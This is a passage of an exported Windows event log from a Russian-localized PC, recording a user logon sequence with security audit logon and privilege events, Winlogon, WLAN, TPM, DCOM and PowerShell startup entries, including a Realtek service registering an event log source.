08:29:01.359\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.359\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.378\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.379\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.379\t6000\tThe winlogon notification subscriber  was unavailable to handle a notification event.\tInformation\tApplication\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.381\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.394\t221\tANALYZE command has run; database statistics are updated [Partition=1, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.396\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.396\t5324\tGroup Policy received the notification StartShell from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:29:01.397\t6339\tGroup Policy Winlogon Start Shell handling completed.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:29:01.397\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.397\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.398\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.398\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.399\t22\t\"Remote Desktop Services: Shell start notification received:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\nSource Network Address: \u041b\u041e\u041a\u0410\u041b\u042c\u041d\u042b\u0415\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.399\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.407\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.407\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.407\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.409\t50\tThe service has been started to the following state: Shutdown.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:01.418\t1136\tRD Session Host Server role is not installed.\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.419\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.425\t4000\t\"WLAN AutoConfig service has successfully started.\n\"\tInformation\tSystem\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:01.427\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.428\t221\tANALYZE command has run; database statistics are updated [Partition=2, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.430\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.431\t400\tDeployment DeStage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.434\t1009\t\"CDE reported an L2 adapter arrival \n\n Interface: {449f824d-2856-4717-a3a7-cf59faac817a} \n\n Type: Wlan\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.434\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.438\t1015\t\"Interface Token Applied\n\nInterface: {449f824d-2856-4717-a3a7-cf59faac817a}\nMedia Type: Wlan\nManual enabled: true\nAuto enabled: true\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.441\t20524\tSupplemental Kerberos credentials are not configured\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.444\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.444\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.444\t18\tThis event triggers the Trusted Platform Module (TPM) provisioning/status check to run.\tInformation\tSystem\tTPM\n05.09.2026 08:29:01.492\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.504\t1006\t\"A Terminal Services session change was processed. \n\n Reason: A user has logged on to the session\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.521\t2100\t\"Ctap command started.\n\nTransactionId: {ec5295cc-66be-4c4e-b2bb-2a8769b4eb95}\nFlags: 0x0\nTimeoutMilliseconds: 0\nTicket: \nRequest: 0xA967636F6D6D616E640B65666C616773006774696D656F7574006D7472616E73616374696F6E496450CC9552ECBE664E4CB2BB2A8769B4EB957566696C7465724879627269645472616E73706F7274F4782061757468656E74696361746F72496E666F4C6F676F526571756573745479706500781F706C7567696E4175746F66696C6C5363656E6172696F537570706F72746564F46F75765472616E73616374696F6E4964500000000000000000000000000000000071746869726450617274795061796D656E74F4\"\tInformation\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:29:01.529\t10001\t\"WLAN Extensibility Module has successfully started.\n\nModule Path: C:\\WINDOWS\\system32\\IntelIHVRouter14.dll\n\"\tInformation\tSystem\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:01.546\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.546\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.650\t900\t\"The Software Protection service is starting.\nParameters:TriggerStarted:6\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.656\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:29:01.657\t1\tSecure Trustlet \\??\\C:\\WINDOWS\\System32\\NgcIso.exe Id 6 and Pid 9244 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:29:01.672\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.672\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.676\t53504\tWindows PowerShell has started an IPC listening thread on process: 8404 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.698\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.698\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.744\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{00000000-0000-0000-0000-000000000000}\n and APPID \n{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}\n to the user NT AUTHORITY\\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:29:01.750\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t8744\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.404919900Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.750\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{00000000-0000-0000-0000-000000000000}\n and APPID \n{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}\n to the user NT AUTHORITY\\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:29:01.758\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.759\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t8744\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.404919900Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.788\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.794\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.796\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName 